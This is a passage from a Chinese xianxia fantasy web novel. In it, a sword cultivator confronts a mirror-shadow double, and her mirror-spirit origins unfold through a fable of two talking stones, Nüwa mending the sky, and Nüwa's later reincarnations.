没过几招,剑修就忍不住暗惊:为何她还会归壹派的剑法? 对方并不恋战,也没咄咄逼人,仿佛只是炫技了一下,很快就撤离开来,退到天光之中,面带微笑看着她:“我的剑法如何?” 石映心收了剑,吁出一口气道:“确实厉害,你还会些别的吗?” “自然。” “屠芜”像个有求必应的好师父,闻言又给她炫了一招,利落的剑招挥起无数大小碎石,瞬间将其笼罩了寒气刺人的冰层,随着“屠芜”一剑令下,尽数朝石映心砸来,不过很快被后者的落雨飞花打散。 这是大师兄的吹雪凝霜。 “如何?” 她似乎想在石映心脸上看到惊讶的表情,但却看她恍然大悟地笑了:“原来如此。” “屠芜”不由得问道:“什么?” “你会的都是我见过的。”石映心望着她道,“我确实打不过你,因你的修为和我相等,所以你也打不过我。” “屠芜”歪了下脑袋,这下是她惊讶了:“没想到你还挺聪明……难道你猜到我是谁了?” 石映心望着面前之人,心中充满了疑惑,但此时此刻她只能做出运筹帷幄的淡定模样,不可涨对方威风。她尽量用笃定的语气说出自己都不可思议的推测: “你……是藏在我心镜中的影子。” 对方明显怔了一瞬,大概是没想到她真的想到了,随即朝她露出一个欣赏的微笑:“这么多年不见,你是变得聪明了许多。凡人都说士别三日当刮目相待,你确实不是当年的蠢物了。” 蠢物? 从她口中听到这称呼,石映心莫名感到很多熟悉,仿佛这曾经是自己的名字似的…… 她在这怀旧,对方却陷入了思索:“你怎么会变聪明呢?难道和你那颗凡心有关?这等脆弱之物,不适合当心脏……” 见石映心看来,“屠芜”和善地朝她笑道:“你放心,我已为你做好了一切打算。很快,你会变成比你大师兄、师父,师公,甚至是比妽荼还要厉害的……” “映心!” 二人转头一看,见脸色苍白的明易神色慌张地跑进来,见到师妹无恙,很明显松了口气,转而朝屠芜质问道:“你是谁?” “屠芜”冷笑一声,不高兴地嘀咕了一句“碍事”,忽然伸左右手抓住了还在打坐的曾换月和顾梦真,猛地往裂缝中一扔——那天光像是有吸力一般,飞速将二人引入其中。 “换月!二师兄!”石映心只来得及撇她二师兄一眼,知晓“屠芜”的修为和她相同,大师兄能应付得了,便不再顾忌地跟着往裂缝中飞去。 “映心!” 明易本想跟上去,但被一阵毒雾拦住了去路,他只好暂且退避,微眯眼睛打量着对方:“你是药神谷的人?” “屠芜”哈哈笑了一声:“你没你师妹聪明!” 话毕,屠芜忽地双眼一闭往边上倒去,就见有一道灵光从她七窍中飘了出来,尽数落入了一边碎得如灰尘般的石屑之中。明易来不及去看屠芜的情况,因为那具原先死得只剩下骨灰的蛇妖就这么在他眼皮子底下如时光倒转般瞬间重生了—— 连带着那双红眼睛。 明易有所防备,及时在瞧见那抹红光的第一时间就闭上了眼睛,并且第一时间找到了屠芜的位置,给她的双眼戴上了眼纱后就将她扔到了转角外,如此她醒来也该知晓怎么回事。 砰的一声,身后有石头被砸碎的声音,就听那蛇妖说话了:“嘶~原来你是明家后人?好啊,真是太巧了哈哈哈哈哈!” 明家……后人? 强调他的身份是什么意思? 明易握着寒竹剑的手紧了紧。 情况不妙啊,大师兄! * “别跑!喂!” “呼……呼……累发财了……” “哼,等着瞧吧,要是我师姐在这你就是再插十对 翅膀也飞不了!” “……师姐,呜呜呜呜师姐你在哪啊……” 曾换月扶着树干滑了下来,累兮兮地靠在书上不愿再动弹。周遭树木密布,绿绿葱葱,有些陌生又熟悉的气息;她抬头望向不远处的山崖,怎么看都像是门派的过梦崖,那无尽的山脉中隐约的竹林影子,不正是黑竹林吗? 那她现在是在过梦崖下的过梦林里? 幽风拂面,她朦胧的意识渐渐清醒过来,感到很多疑惑。 奇了怪了,她怎么会出现在这里?她最后的记忆明明是…… 螺族……罗宝山……帝女石窟……避雨……菌子暖锅……醒来……醒来后就到这了?不对啊,如果这里是归壹派,可她完全没有回家的记忆;而且不知为何,她来到这之后,一睁眼就是要去追什么…… 追什么? 曾换月抬起眼来,心有所感地望向前方,风吹动树叶簌簌摇摆,茂密的树冠中隐约有什么东西飞速蹿过。 她无意识地站起来往前迈了几步,双目直勾勾地送去探究那神秘的身影,心中有朦胧又迫切的渴望,仿佛一切的答案就在眼前,就在她已经看见的、触手可及的前方。 “喂,别跑……” 似乎又追了几步,压根记不清自己走的哪条路;或者不如说,在这越来越深的过梦林中,本就没有路。无数光线落下,像是在时光中穿梭,只能交错,前行,重逢,却无法回头。 就在她以为那身影只是梦中模糊的念想,压根不存在时,它忽然冲出绿叶,停在空中望着她。 曾换月睁大了眼睛,因此看清了——【】 230-240 第231章 这是长着翅膀的蛇……还是鸟? 鸟头蛇身,尖喙圆眼,鸟头下七寸左右长着一双不大的灰黑色羽翅,蛇身不长,粗细约两指,花纹是细密连接的三角形状。 曾换月怔愣在了原地,虽说她也不是没见过世面的修士了,各种恐怖恶心奇形怪状的妖鬼都见过,可不知为何瞧见这玩意的时候,心中很有些震撼? 明明和其他妖怪比起来,它不过是幼儿园孩子都能画得出来的变异鸟或者变异蛇罢了。但重点是…… 曾换月挠了挠脸,面色迷惑地说出了那句经典搭讪台词:“咦,我好像在哪见过你?” 嘶……是在哪呢? * 花开四朵各表一枝,与此同时的顾梦真也陷入了难题。 他跟着那只像鸟又像蛇的怪家伙一路破开树林来到此处,眼前是几间紧挨着的屋子,看着非常……也不是破吧,就是很古老,像是很久以前的人住的房子。 如果他去过常曦的画中结界,会觉得此处非常熟悉。 “有——人——吗?” 那只小蛇鸟飞到这就不见了影子,比起推测它又飞到了无边无际的树林之中,顾梦真更想它飞入这几间小屋子里,好让他来个瓮中捉鳖。 这里静悄悄的没有人迹,屋外开阔的院子中有些花草但也有很多杂草……难道有人住吗?他礼貌地在门口象征性地喊叫了几声,果然没有人回应。 ……进去看看呗。 他小心翼翼地推开嘎吱作响的房门进入了其中一个屋子,里头立着一排排一列列的高格架,上头摆着许多有些奇怪但都能当器皿的陶器,一边的桌上还有一些泥坯雏形,朴质的外表上似乎画着什么图案? 顾梦真好奇地四处打量,反正也没人,便随手拿了一个圆盘下来打量,手抚摸着沿着盘边有一圈突起的花纹,多是倒三角;他转眼又看向边上的陶壶陶罐等,上头的花纹各式各样,但同出一辙地都有许多三角纹样。 他隐约想起好像有谁和他说过这些事,但大概只是随口一提的寥寥几句,因此他使劲地回想也想不出所以然。 不过…… 作为器修他敏锐地感到这些陶器上有附带着很浅薄的灵力,和他们归壹派、不,或者说,和他们当今所有器修的灵力属性很有区别,但在本质上又是相同的,就像是……撇开所有五花八门的附加法术后最原始的模样? 古董……对,差不多是这么回事。 顾梦真非常稀奇,他又拿了许多陶器打量,但大概是灵力太浅,有些几乎没有,所以他无法再探究更多……等失望地叹了好几口气之后才猛然回过神来: 不对啊,他在干嘛! 现在要紧的事是找到那条小蛇鸟! 想起正事后的顾梦真连忙离开了房间,接连着又开了边上两个屋子,但里头都是差不多的景况;直到他打开了最后一个规模稍大一些的屋子的房门,这才震惊地愣在了原地—— 摆在这间宽敞屋子正中央的大家伙,不正是他自小在课本中无数次看过的、上古时期才有的最早形制的炼器炉吗? 这…… 这这这…… 器修的眼中瞬间迸发出异样的光彩,整个人感到飘然的美妙:若他得到了这间宝贝,别说单卖就能价值连城,用它炼制出来的宝器就可以烙印上“上古宝器炼制出品”的噱头,到时候他就发了! 哈哈,哈哈哈! 哈哈哈哈…… 继续做梦吧,二师兄。 * 话说石映心这边,作为被引入天光的三人中唯一的清醒者,她……并没有任何优势,很快就被光照得晕了过去。 再醒来时的情况更加迷惑了,周遭是一片荒蛮大地,赤地千里,毫无人烟;一切是干枯的、贫瘠的,就连树木都少得可怜,放眼望去压根没几颗,孤零零的仿佛只是暂未腐朽的尸体。 地是这番景色,那么天呢? 她抬头望去,天好像不是天,而是一个巨大的裂缝;异样的斑斓色彩奇诡地盘旋在裂缝边缘,分不清是白天黑夜。要是望得久一会,仿佛就要掉入天的深渊之中。 这里究竟是……哪? 石映心并不知道自己的开局地图和师兄师妹并不一样,她很快连自己是谁都不知道了;只记得此处是她的容身之所,是她长久以来一直扎根的地界。 这里很危险,很不舒服,很无聊很寂寞,不过她很适应。 她难得地会说话,因为边上有一块比她磕碜许多的老石头,这家伙据说去哪里游历过,学会了所谓的“人”的语言,时不时就要和她“说话”。 小石头一开始听不懂老石头在说什么,但老家伙一直絮絮叨叨地说,它大概是懂得凡人小孩学会说话的自然规律,因此明白只要他一直说,孩子总会有听懂的一天,何况——它们并不是普通的石头。 不知听了几日,反正没过多久,聪明的小石头很快便学会了说话。 第一句话便是:“好吵。” 老石头大喜过望道:“哇,你知道好吵是何意了!” 第二句话是:“烦。” 老石头很是欣慰地说:“哇,你知道烦是何意了!” 小石头:。 老石头感天动地道:“哇,你知道不欲多言是何意了!” 小石头学会了说话,但她并没有什么表达欲,很多时候都要老石头求着她说几句:“好孩子,你同我说说话,你不知道我有多寂寞!” 小石头没有表达欲,但是个有好奇心的小石头:“寂寞是什么滋味?” “寂寞的滋味太难受了,”老石头叹了口气,“你最好永远不要懂。” 说着说着又喃喃道:“可你迟早会懂的,我教你说话,你学会说话之后就会想说话;日后我离开,此处没人陪你说话,你便会感到寂寞了……唉,可怜的孩子,这是我对不住你。” 小石头虽然学会了说话,但依旧听不太懂老石头的很多话,尤其是这些复杂的句子,那是一点都不理解的,但她会挑些自己好奇的:“你要离开?” “是啊!” “离开去哪?” “需要我的地方。” “哪里?” “不知道呀。” 小石头就不说话了。此时的沉默多么像嘲讽,虽然她压根没有这样的情绪。 “唉,”老石头意味深长道,“我要怎么同你说呢?我预感我将离开,这便是我的命。” “命是什么?” “命便是……”老石头沉吟片刻道,“你此生定要去走的道。” 小石头想了想说:“看来我是没命的,我只是个石头,哪里也去不了。” 老石头呵呵笑了两声:“傻孩子,只是你时运未至罢了。想我像你这么大的时候,也不知道自己要游历人间呢。若你真的从一而终地都在此处,那你石头下的方寸之地便是你此生的道了。” “那我的道很小了。” “若一块石头能忍受千百年寂寞都待在一处,那定是世上最伟大的道之一。”老石头宽慰她,“更何况道是延绵不断的,你如今是块石头,下辈子、下辈子,下下辈子可不一定是石头;孩子,不必多想,看你石头下的道便好。” 她说到这里小石头就听不懂了,好在她也没到会感到烦恼的时候,因此只是敷衍地“嗯”了一声,继续闭嘴听老石头的絮絮叨叨。 渐渐地,老石头口中那些奇怪的话像耳旁风带来了乱七八糟的小种子,一点点地生根发芽起来;她本就是个好奇的小石头,很自然地从敷衍的态度转为认真,偶尔老石头说累了,她还要催促对方再说一些。 小石头:“人是什么模样?” “人吗?人的话和我们差许多了,她们有手有脚还有一个叫头的东西,头上有眼睛鼻子嘴巴……对了,和你见过的小猴子有些相像。” 小石头:“看来他们又丑又烦 石。” “那也还好,还好……人是最不一般的。” 小石头:“哪里不一般?” “说是女娲造的,是女娲亲手捏的,那么小的眼睛,鼻子,嘴巴,一点点捏起来,都是女娲的心血呀!女娲是谁?世上最伟大的创世神,她花费心血之处,定是很不一般的。” 小石头:“那我呢?” “你吗?你和我一样,我们都是无名的小石头。这个世间存在的时候,我们便自然存在了;石头和风、水,花草树木都一样,没有人那么精细。” 小石头:“哦。” “怎么,你不高兴吗?” 小石头:“你总是说我不高兴,我不知道什么是不高兴。” “说来也是……好孩子,也许你只是脾性差罢了。” 小石头:“哦。” 她也许是脾性差些,好在这会也不知道“生气”是怎么回事,因此没什么反应。 从老石头的口中,她听闻了许多新鲜的玩意,不是那些路过她的猴子鸟儿爬虫那般瞧着丑的新鲜,而是可以称为“故事”的东西。 这些故事都是发生在人的身上。人生了火,人杀了野猪,人做了衣服,人在石头上刻画,人唱歌,人跳舞,人走人跑人在水里游,人打了人,人生下了人,人死去…… 人居然能做这么多事,而她只是一块石头,她只能呆呆地立在这里,甚至比那些又丑又烦的猴子鸟儿爬虫还要无趣。 太阳升起又落下,落下又升起;月亮升起又落下,落下又升起。 天空中的裂缝越来越大,老石头说瞧着很可怖,小石头不知道“恐怖”是什么意思;老石头又说人看见这天的模样肯定很慌张,小石头不知道“慌张”是什么意思。 第232章 “别问了,别问了。”老石头竟然也有被问得无奈的一天,“你问的这些光听听是不能明白的。恐怖,慌张,快乐,幸福……这些情绪不是你一块石头能懂的。” 小石头:“可你怎么懂?就因为你去过人间?” “也不仅是这样。”老石头有些自豪道,“我是一块特别的石头,你应该发现了。” 小石头:“哪里特别?” “你看我和边上那些碎石比起来是不是格外高大强壮?” 小石头:“我也是这样。” “你看我还会说话。” 小石头:“我也是这样。” “最重要的是——我通人性,我的石头心是血肉。” 小石头这才没话说:“哦,看不出来。” “哈哈哈!你别灰心,我想你也知道的,你也是块特别的石头,我们和那些毫无生机的碎石不同。”老石头笑呵呵地安慰她,“但你我二石也是不同的,因为我们的石头心不同。” 小石头:“石头心?” “对,像我的石头心是血肉,和人的心有些不同,但很像了,因此我能通人性,感到人的喜怒哀乐……也就是你问的恐怖和慌张。” 小石头便问:“那我的石头心是什么?” “这我便不知晓了,毕竟我也不能将你剥开。” 小石头默了默:“你怎么清楚自己的石头心是血肉做的?” “自然而然就清楚的。”老石头也无法解释,“你也知道我不是本地石,我原来出生在一个人类的部落,那里的人都很喜欢我,常常围着我烧火唱歌舞蹈,还要攀比谁爬我爬得快……后来天灾来了,她们不得已离开,我如此强壮高大,她们带不走我……” “不过没多久,又来了一个部落的人,但很快他们也走了;就这么反反复复,我见到了许多部落的人,听到了许多的故事。她们的语言各不相同,但有些相似之处,我总是很快就能学会。” “直到有一日,天灾再次降临,这次那些人来不及逃走,全部死在了我眼前……”老石头回忆道,“就在我伤心欲绝的时候,女娲来了,她将我送来了此处,叫我好好修炼。” “修炼?”小石头总是要问这些她第一次接触的词,“这是何意?” “说实话,我也不太清楚。”难得有老石头也不明白的事情,“我问女娲,她只说让我待在这就是了,等她再来找我。” 小石头:“那她来了吗?” 老石头:“我来之后的事你也知道了,还没等到她呢。” “哦。” “不过我想,”老石头有些向往道,“女娲总有一日会来,带我去圆满我的命运。” 小石头知道如果这时候她问“什么命运”,对方就会回“不知道啊但有这么回事”,然后话题就陷入无趣的无止境中,这边很烦了。 题外话,“烦”大概是她最能“体会”的一个情绪,毕竟她确实不喜欢那些奇奇怪怪的生物在她身上爬来爬去,可惜她没有传说中的人类的四肢,因此驱赶不了它们。 至于女娲……这是小石头目前最好奇的东西。 老石头说她是开天辟地的创世大神,造人造物……只是她非常忙,要四处去平定世间的天灾人祸,日日不得闲,来得晚一些也是该被体谅的。 日子这么过着,再多的故事也被讲尽了。小石头就这么理解了“无聊”的意思,她需要新的故事,新的趣味;老石头便和她瞎聊,聊天聊地聊命运理想,但说得多了,说来说去又是那些东西。 老石头觉得小石头很聪明,因为她很会从听过的故事中、问过的问题中冒出新的好奇,比如这一日她问:“你一直说什么命运,难道命运就是你想做的事吗?” “不知道呀,但是我该去做的事。” 小石头:“那么在等女娲之外,你还想做什么事?” “我想做什么事……”老石头想了想,“我还没想过。” 小石头:“你想想。” “好。” 大概是到了明日,老石头说:“我想到了,我想继续去看人间的故事。” 小石头:“你想当人?” “不敢想,从石头变成人是很难的,也许要走许多的道,经过许多的轮回,在这之后才能做人。” 小石头:“听起来很麻烦。” “所以我有个容易一些的想法,我要当天上的云。你看这云四处飘,散了又能再聚,反倒每日都能见到新的景色,不比石头快活?可叫我羡慕。” 小石头:“可是云和石头是一样的。” “是啊是啊,因此这不是不可能的事,也许我下一回要走的道就是云的道。” 小石头沉默了一下:“你变成了云,我就找不到你了。” “……”老石头哑然失声了好一会,它感到欣喜和怅然,“没想到你这么快就学会了寂寞。这只需要聪明就够了吗?不……你一定有一颗特别的石头心。” 可小石头并不知道自己的石头心是什么。 “你放心,”她听老石头说,“不管我变成什么,我们总有再见的时候。” 太阳升起又落下,落下又升起;月亮升起又落下,落下又升起。 她们眼睁睁地见证着天空的裂缝越来越可怖,眼前这片干燥的蛮荒大地居然下起雨来,一连下了几个日月,再回过神来时,变成一副乌糟糟的模样,地上都是烂泥,泥上浮着许多动物的尸体。 老石头说这是天灾。 作为强壮高大的特别的石头,小石头并不觉得天灾可怖,毕竟那些雨对她来说不痛不痒;但此时她见到那些泥水上的、曾经在她身上攀爬过的尸体,隐隐感到一些奇特的情绪,她不知道这是什么,只是这两日不爱说话了。 这场雨后,她们便看不到太阳升起又落下,也看不到月亮升起又落下。 也许过了许久,但对石头来说也没有很久。 在一个寻常的无聊日子,女娲来了。 女娲是人首蛇身,小石头第一次见到了人类的一半模样:原来是这样的,长得确实比猴子鸟儿爬虫细致许多;蛇尾粗壮,小石头一直瞅着,第一次觉得自己会被一件东西击碎。 她也会说话,声音不像老石头那般柔和,有一种让人无法抗拒的力量;她要带老石头走。 老石头:“好啊好啊,我等你许久了。” 小石头:“你要带她去哪?” 她说话了,女娲因此给了她一个正眼:“补天。” “补天啊。”老石头想了想,“原来我的命运是做一颗补天石……也好,我不喜欢天灾,就让我当补天石吧,这也是个好差事。” 小石头:“那我呢?” 女娲:“你?” 老石头立刻引荐道:“女娲大神,她也是块特别的石头。她同我一般高大强壮,还会说话,最重要的是她通人性!她一定也有一颗特别的石头心。” “通人性?”女娲笑了笑,笑容很浅,“她不通人性,不过石头心确实特别。” 小石头总算等到了一个能为她答疑解惑的神:“我的石头心是什么?” “是一面镜子。”女娲说。 “镜子?”小石头有听过这玩意,“人类用的镜子?” 女娲笑道:“人类的镜子是世间最无用的镜子;而你是天地之镜,可以是水,也可以是天,还可以是万物的眼睛。” 她这么说小石头是听不懂的,而且她这回在意的是另一个问题:“那么,我可以当补天石吗?” “不可以。”女娲毫不留情地拒绝了她的自荐,“你不够格。” 小石头:“是哪里不够格?” 老石头也帮孩子说话:“女娲大神,她很聪明很特别,绝对孺石可教啊,你再考虑考虑呗?” “我所造的天地之大,不乏特别的石头,”女娲对小石头说,“可只有长出血肉之心、拥有七情六欲的石头才能做补天石。” 老石头:“她也有七情六欲,她脾性不好,常常生气不说话,还觉得猴子鸟儿爬虫烦石。” “她没有,”女娲平静地道明了真相,“她只是照了你的情绪存在石头心中,因此学会了‘你’的心,你的情,你的反应。” 老石头震惊中感到非常失落,这是一种真心换假意的不可置信:“怎会如此……” 女娲抬头望向诡谲的天色:“天地运作,自然相生,仅有能自生情欲的血肉之心才能堪当补天石之大任。你们二石可明白?” 小石头虽有些失望,但她很快接受良好道:“好吧。” 老石头忧伤道:“唉,可你学会了我的寂寞,在我离开之后,一定会感到孤独的。” “不必担忧,”女娲说,“离开你之后,她的情绪很快便会用尽,届时便会回到最开始的无情模样。” 老石头就更失望了:“唉!” 又问:“她会忘记我吗?” 女娲:“这倒不会。” 老石头:“那么她记得我,却对我毫无感情,这太叫石头伤心了!” “看在你将做补天石的份上……”女娲嘟囔了一句,“你的血肉之心中有一块血肉因她而长,我可以将它取下来给她,日后她想起你,便会感到这份血肉带来的情。” “唉,不用不用!”老石头却拒绝了,“我怎么忍心留下悲伤和寂寞给她呢?” 小石头却道:“我想要。” “可是……” 女娲看看老石头,又看看小石头,轻笑一声:“你说得不错,她确实是块很特别的石头;既然我与她在此相遇相言,定是有其中的缘分……天地之镜埋没在此也是可惜,就让她伴我身侧,游历世间吧。” 第233章 小石头有了好去处,老石头感到十分欣慰。女娲将她因小石头而长的血肉之心分割下来,送入了小石头的镜子心中。 日后每当小石头想起老石头时,感到的便不再是无情的记忆画面,而是满满当当的心情;这些心情有好有坏,但无一例外地都让她充盈。 小石头陪着女娲搜寻可造之石,这时大神只差一块石头,她带着小石头上天入地,见了很多特别的石头。这些石头中有很渴望当补天石的,也有很不情愿当补天石的,但它们的个石意愿并不重要,一切由大神决定。 找齐所需的石头后,女娲便开始炼制补天石。小石头常伴她左右,因此见识了她伟大又恐怖的神力;甚至女娲释放神力炼补天石时,她还会被一块布盖上镜面避其锋芒,免得不小心“照”碎了。 这些奇异的事情对她来说很是新奇,使她生起了强烈的“成神”欲望。 每当这时,被掩盖在布后、透过布上游曳的神光感知外界情况的小石头便会有无限遐想: 什么天地之镜?和大神比起来,她就相当于是凡间最普通的镜子。 如果有一天她也变成了像女娲大神这般厉害的神祇…… …… 可是这样的厉害的女娲,就这么匪夷所思地死去了。 补天之后,在天地的喜气洋洋之中,小石头感到女娲难得的疲累。她说要闭关好好休息一段时日,但不过多久便招了小石头过来,像是告知她“今日我要外出一趟,你好好看家”一般,宣布了自己死期将至。 小石头对“死亡”的认知只是那些漂浮在泥水上、或是被太阳晒成干的生物尸体,可它们如此渺小,死亡仿佛才是家常便饭,但是女娲—— 女娲大神怎么可能会死呢? “生则有死,这是万物自然之道,我也不例外。你何必如此惊讶?”女娲平静地说,“我走之后,你要……罢了,你自顾自活着便好了。” 小石头的镜面中照出女娲逐渐变得透明的神体,比起惊慌和悲伤,她更多的是茫然和诧异:“你……你怎么会死?” 女娲无奈道:“我不是说了,生则有死,这是万物自然之道。” 小石头:“你怎么会死!” 女娲很耐心:“生则有死……” “我不是问这个,”小石头不愿接受道,“你不是天底下最厉害的大神吗?这广阔的世间、无垠的生命皆因你而生,你……你怎么会死?你骗我,你是想丢下我离开。” 女娲:…… 这家伙的脾性她不是不知道,总是要问明白,哪怕问出来的答案她压根听不懂,但决不允许就这么被敷衍。 女娲只好道:“你说得不错,我不会真正的死去,可如今的躯体已不合时宜,消亡也是大势所趋;不过生生之谓易,不死不能生,死亡便是新的生,只是那时的我已不是现在的女娲……这么说你明白了吗?” 小石头:“不明白,反正你不 能死。” 女娲:…… “拿你没办法。”她近乎透明的、不断消散着神光的手抚上镜面,空灵的声音在其间回响,一字一句地许下诺言,“等我回来……我再来找你……” 女娲消失了。 星光般的神力落在镜面上,片刻的映照留不下存在的证明。 后人记载,女娲在补天之后耗尽神力而死,不过创世之神的死也是非同寻常的:传闻“有神十人,名曰女娲之肠,化为神,处栗广之野,横道而处”,说是女娲死后,光是她的肠子就能化作十个神人…… 再后世的后人说,若如记载所说的“化作十个神人”,那么相当于没死,像是修仙者分元神的一种:本体虽然消亡,但分神永存。 所以这“十个神人”还是女娲吗? 谁也不知道,包括此时的小石头。 女娲死后,她便陷入了漫长的孤寂之中。此处的“漫长”也许不比她以往待在那荒蛮之地时不分日夜度日时的漫长;但正如老石头所说,学会寂寞之后,就算是一块石头,孤零零时也会感到孤独。 她常常望向天空,想起老石头说的“羡慕天上的云”的话,心想此时此刻她是否已经履行完了补天石的命运,走上了云彩的道呢? 于是顺其自然地又要想起女娲,那个可恶的创世大神,她对她那么好,带她见识了世间的五彩斑斓……居然就这么死了,死前叽里咕噜地说了一堆她压根听不懂的话…… 小石头非常觉得她的死亡就是最大的罪过。 还说什么等她回来?要来找她? 她照得清清楚楚,女娲已经化作神光消失得一干二净了! 小石头不高兴。 因此,在那个女人捡起她时,她只是忍着惊讶闪了闪,并不说话。此时的小石头……不,该说是小镜子了。先前女娲为了随身携带她方便,将她化形成一面别致的小镜子,论谁见了她都会沉迷于她卓越精美的工艺、清晰明亮的镜面。 比如这个女人。 小镜子第一眼认出了她,谁叫她是天地之镜,能照出世间万物的真我?她失声地照着面前早已换了躯壳的女人……对,她现在更像是人了,没有了蛇尾,神的气息有一些,但更多的是人的味道…… 她真的不是女娲了,但她还是她,小镜子照得明白。 她履行了诺言,真的回来了。 “哪来的镜子?做得倒是很别致。”她打量了镜子一会,对跟在她后头的人说,“给你们三日时间,找来这个能人,我要她为我做更多的镜子。” 小镜子:OO? 搞什么,原来她什么都不记得了。 小镜子因此生了一段时日的闷气,可惜现在没人哄她,倒显得她自己可笑了。这个女人……该怎么称呼她好呢,总之她确实不是女娲了,那就叫女人吧。 女人真的把她养得很差,她居住的地方都是又破又矮的茅草屋,哪是前世的大殿可比? 而且都是这般差劲的环境了,也不知道珍惜她一些,随意地将她安置在破衣兜里,用耕田后充满泥土的手拿她,用打猎后沾染兽血的脸照她,用擦了更脏的布擦她! 小镜子受不了了:“住手,要洗就用水!” 女人左顾右盼:“谁在说话?” 小镜子:“是我,是我!是我——” 女人:!? 这样才算是第一面吧。 越和女人相处,小镜子越发现她身上的神性很少很少;她强壮、聪明,是她们那群人类的“头儿”,她教会她们穿井生火煮熟食。 但……依旧只是个人。是人就太容易死了,明明长着健壮的身体,但莫名就会死去,吃了什么、喝了什么,天凉天热,生孩子……都要死些人。 女人很快也要死去,她已经是她们中活得算很久的一人。临死前,她还在斟酌着如何安置这面神奇的镜子。 她的女儿也很喜欢她:“母亲,为何不直接给我?或许让她给您陪葬。” 女人摇摇头道:“这不是我和你可以拥有的镜子。孩子,将她放入河中,由她离去吧。” “好吧,等您死去之后。” “现在就去。” “……好。” 小镜子再次要面临“女娲”的死亡,但某人是女娲、又不是女娲,因此比起伤心,小镜子更多感到的是疑惑和迷茫。被某人的女儿拿走之前,她照出女人最后的模样: 花白的头发,苍老的脸庞,死亡的气息在她身上盘旋。 女娲不是这个模样的。 神不是这个模样的。 可是…… 可是…… 咕噜噜噜。 小镜子沉入了水底,随着水流往下漂泊。不知过了多久,也许很久很久,但她并不清楚,只是渐渐又浮出了水面,感到一身轻盈灵活,仿佛能飞起来一般;有人将她舀了起来,装在了一个青铜器皿里。 “妹妹,你在做什么?” “做我占月卜卦的宝器。”有个稚嫩的女声说。 “你就舀了点水,就成宝器了?” “姐姐,这不是普通的水,”小小的手轻轻抚摸水面,水面上映照出一张清瘦的小脸,“这是天地之镜。” 小镜子睁开眼来,她又找到了“女娲”,她这次的化身是一对双胞胎,她们比上一个捡到她的女人更有神性,尤其是妹妹常曦,她能占月卜卦,沟通天地日月神灵,司族人之命运。 不过,人的部分还是太多了。 常曦和羲和拥有的神力和女娲虽出自同源,但毕竟她们这世含有人的血脉,因此利用神力的方式要结合“人”的手段,比如常曦的“占月卜卦”,羲和的怪力无穷。 待在这对姐妹身边时,小镜子时不时会想起上一个女人,心里想着羲和常曦应该不会像她那么短命……她常常在二人口中听到“大酋长”“姬有熊”二名,听说都是拥有呼风唤雨等神力的能人。 小镜子好奇这二人拥有的神力是什么成分,但苦于没有机会。 仿佛过了很久,大酋长战死,羲和逐日而去……原先不太爱和她说话的常曦,也渐渐地话多了起来。她喜欢与小镜子一起赏月,抬头望着明月思念姐姐;小镜子映照着她看见的月亮,因此也感到一些思念之情。 仿佛没过多久,常曦也要死了。她怎么也死得这样快? 可她并不忌惮死亡,甚至还很期待地说:“为何要惧怕?死亡只是让我和姐姐的相聚更近一步。” 小镜子:“谁知道是什么时候。” 常曦躺在水边,望着黑夜中的光亮,声音渐渐消散在水声之中: “我请亘古不变的日月保佑,只要世上还有太阳,还有月亮,我和姐姐定会重逢……” 第234章 常曦死后,青铜器皿被送到了姬有熊手中。 这位伟大的帝王将器皿打开一看,在水面中看到了自己温和的眉眼。小镜子怔然和她对视着,感到了蓬勃的女娲神力,水面忍不住微微颤抖。 她,她竟也是…… 哗—— 婢女不小心将器皿打翻,水如月光,洒了姬有熊一身。面对连连请罪的婢女,她只是挥挥手笑道: “不必自责,不过是我与她少些缘分罢了。” 何止是少些,简直太少了,偏偏姬有熊是小镜子见过的最具女娲神力的人——甚至她身上“神”的部分比“人”还要更多些。 虽说只是惊鸿一面,但也正因此事,她对心中一直以来的猜测有了笃定: 女娲确实死去了,也确实死而复生了,不过她化成了无数“人”与“神”的结合体,散落世间去完成她无数的命运…… 有一说一这的确比一个神到处跑更灵活更划算……但这不对吧!?小镜子感到了善良又狡猾的欺骗,只是如今已经状告无门;她在附身的那摊水迹随风消散后,便再次陷入了无知无觉的沉寂中,等待下一次的唤醒…… 不知过了多久,也许不久,也许很久;她似乎经手过许多人,只是她们都不能唤醒她;她大部分时候沉睡着,偶尔迷蒙又困顿地睁开瞧一眼,接着又无趣地闭上继续睡。 到底还要多久。 小镜子睁开眼来,瞧见了面前的女人。 “居然是镜灵?”她挑眉打量她,“你叫什么名字?” 小镜子:“……名字是什么?” “连名字都不知道?”女人嗤笑一声,“真是件蠢物。” 小镜子:OO? 要不是这人身上有浓厚的女娲气息,她立马自裂。 她叫旋娉,自诩为普天之下最厉害的修仙人士。这是小镜子几千年来第一次接触“修仙”一次,她有疑惑:“仙是什么?” 旋娉:“我该怎么跟你解释什么叫仙呢?” 小镜子:“……” 旋娉听她好久不说话,这才道:“就是学会了仙法的人。” 小镜子:“仙法……和神力有何区别?” “这不是很好理解么?仙法是修仙者的法术,神法是神的法术;不过如今的凡人常说神仙神仙,将二者混淆。但神就是神,生来就是神;仙生来是人,学会仙法修炼后便成了仙人,境界大圆满飞升后才是仙。” 她戳了戳镜子:“我说得这么明白,你可听明白了?” “不准戳我……听明白了。”小镜子说,“那么,我是什么?” “你啊,”旋娉可恶一笑,“你就是件蠢物呀。” 小镜子:…… 讨厌的旋娉。 她这次醒来,世间已是别样的景况:繁华多样的殿宇楼阁铺盖大地, 凡人们穿上了漂亮的衣裳,做起了除打猎耕田外的各种各样的活计,活得也更长久了,不会动不动地就死去。 除凡人外,世间多了很多会“仙法”的人,自称修仙者。她们和羲和常曦姬有熊不同的是,并不和凡人一起生活,并且研究了什么“辟谷”之类的法术,渴望舍去凡人所需的吃喝拉撒,从而超脱凡俗,达到永生。 这些修仙者各有修习的法术,在这过程中她们发现大部分人可修习的法门很相似,比如有些人擅长习剑,有些人擅长炼丹……而大同小异者往往会成帮结队,互帮互助;当然也有独行者,比如旋娉。 旋娉自诩天下最厉害的修仙者,这不只是她自大,而是修仙界公认之事。说起她擅长的法门,那是剑符丹器样样都行,违背常理的博而精;因此哪怕她独来独往,也没人敢不识趣地来招惹她。 所以就算脾气差些、为人自大些,说话难听些……也是能被忍气吞声的。总之别人不敢对她怎么着。 这个时候的境界划分并不清晰,大伙只简略地将修仙者分为“低阶”“中阶”“高阶”三阶;至于修炼到大圆满后飞升成仙的事…… 只是一个传说。 旋娉就立志成为这个传说。 她早就领悟到境界提升甚至飞升靠的是“机缘”而非日复一日的努力修炼,故不停地游历四方、探索秘境、搜寻宝贝…… 